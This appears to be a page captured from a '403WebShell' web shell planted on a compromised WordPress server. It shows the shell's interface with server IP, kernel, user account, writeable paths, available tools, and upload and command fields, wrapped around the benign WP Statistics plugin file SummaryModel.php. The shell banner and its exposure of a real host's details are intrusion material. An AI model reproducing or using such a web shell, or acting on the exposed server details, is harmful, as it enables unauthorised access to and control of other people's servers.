$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/wp-statistics/src/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/wp-statistics/src/Models/SummaryModel.php
<?php
namespace WP_Statistics\Models;

use WP_Statistics\Abstracts\BaseModel;
use WP_Statistics\Components\DateTime;
use WP_Statistics\Utils\Query;

class SummaryModel extends BaseModel
{
    public function getData($args = [])
    {
        $args = $this->parseArgs($args, [
            'date' => ''
        ]);

        $result = Query::select(['COALESCE(SUM(visitors), 0) as visitors', 'COALESCE(SUM(views), 0) as views'])
            ->from('summary_totals')
            ->whereDate('date', $args['date'])
            ->getRow();

        return $result;
    }

    public function getLastRecord()
    {
        $result = Query::select(['date', 'visitors', 'views'])
            ->from('summary_totals')
            ->orderBy('date', 'DESC')
            ->perPage(1, 1)
            ->getRow();

        return $result;
    }

    public function recordExists($args = [])
    {
        $args = $this->parseArgs($args, [
            'date' => ''
        ]);

        $result = Query::select('COUNT(*) as count')
            ->from('summary_totals')
            ->where('date', '=', $args['date'])
            ->getVar();

        return (bool) $result;
    }

    public function insert($args)
    {
        $data = [
            'date'     => $args['date'] ?? DateTime::get('now', 'Y-m-d'),
            'visitors' => $args['visitors'] ?? 0,
            'views'    => $args['views'] ?? 0
        ];

        $result = Query::insert('summary_totals')
            ->set($data)
            ->execute();

        return $result;
    }

    public function update($args)
    {
        if (empty($args['date'])) {
            return false;
        }

        $data = [
            'visitors' => $args['visitors'] ?? 0,
            'views'    => $args['views'] ?? 0
        ];

        $result = Query::update('summary_totals')
            ->set($data)
            ->where('date', '=', $args['date'])
            ->execute();

        return $result;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit